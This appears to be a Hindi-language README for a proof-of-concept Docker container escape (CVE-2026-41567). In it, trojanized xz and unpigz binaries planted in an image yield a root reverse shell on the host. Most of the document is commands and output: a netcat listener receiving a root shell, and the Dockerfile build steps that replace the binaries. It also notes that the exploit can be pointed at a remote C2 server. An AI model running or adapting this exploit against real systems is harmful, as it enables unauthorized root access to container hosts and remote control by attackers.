CVE-2026-41567 1day

Docker Escape CVE-2026-41567 के लिए 1day।

यह ट्रोजनाइज़्ड xz / unpigz का उपयोग करके डॉकर एस्केप का एक प्रदर्शन है।

इसे आसानी से दूरस्थ रूप से उपयोग करने के लिए संशोधित किया जा सकता है (अर्थात, डॉकर डिफ़ॉल्ट IP को रिमोट C2 से बदल दें)।

शोषण के बारे में अधिक जानकारी यहाँ

PoC

होस्ट पर पोर्ट 50005 पर netcat सुनें (listening) चलाएँ

ubuntu@ubuntu-noble:~/CVE-2026-41567$ nc -vlp  50005
Listening on 0.0.0.0 50005
Connection received on ubuntu-noble 35722
# whoami
root
# cat /etc/hostname
ubuntu-noble
# exit

फिर test.sh स्क्रिप्ट निष्पादित करें। यदि शोषण काम कर रहा है, तो आपको तुरंत रूट शेल मिल जाएगा।

ubuntu@ubuntu-noble:~/CVE-2026-41567$ sudo ./test.sh
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
            Install the buildx component to build images with BuildKit:
            https://docs.docker.com/go/buildx/

Sending build context to Docker daemon  19.97kB
Step 1/7 : FROM debian
 ---> 34cd9e9fd437
Step 2/7 : RUN apt update && apt install -y ncat
 ---> Using cache
 ---> c85c9eb10bff
Step 3/7 : COPY exploit.sh /usr/bin/xz
 ---> Using cache
 ---> b84efa8058e7
Step 4/7 : RUN chmod +x /usr/bin/xz
 ---> Using cache
 ---> 423b0e1891a6
Step 5/7 : COPY exploit.sh /usr/bin/unpigz
 ---> Using cache
 ---> 74eff85cf988
Step 6/7 : RUN chmod +x /usr/bin/unpigz
 ---> Using cache
 ---> 2f773fa12931
Step 7/7 : CMD [ "sleep", "9999999" ]
 ---> Using cache
 ---> 7b99f12dbe8d
Successfully built 7b99f12dbe8d
Successfully tagged cve-2026-41567:latest
cve-2026-41567
5679a4dc643c65a20039de693fad1f1caeea7fe5760b5c4049d1d4f37f5ab825
tar: Removing leading `/' from member names
/etc/hosts
Successfully copied 0B to cve-2026-41567:/tmp

ध्यान दें कि Docker डेमन से बात करने के लिए आपके पास विशेषाधिकार होने चाहिए (आमतौर पर root होना)।

CVE-2026-41567

सबसे लोकप्रिय

CVE-2026-41567 1day

PoC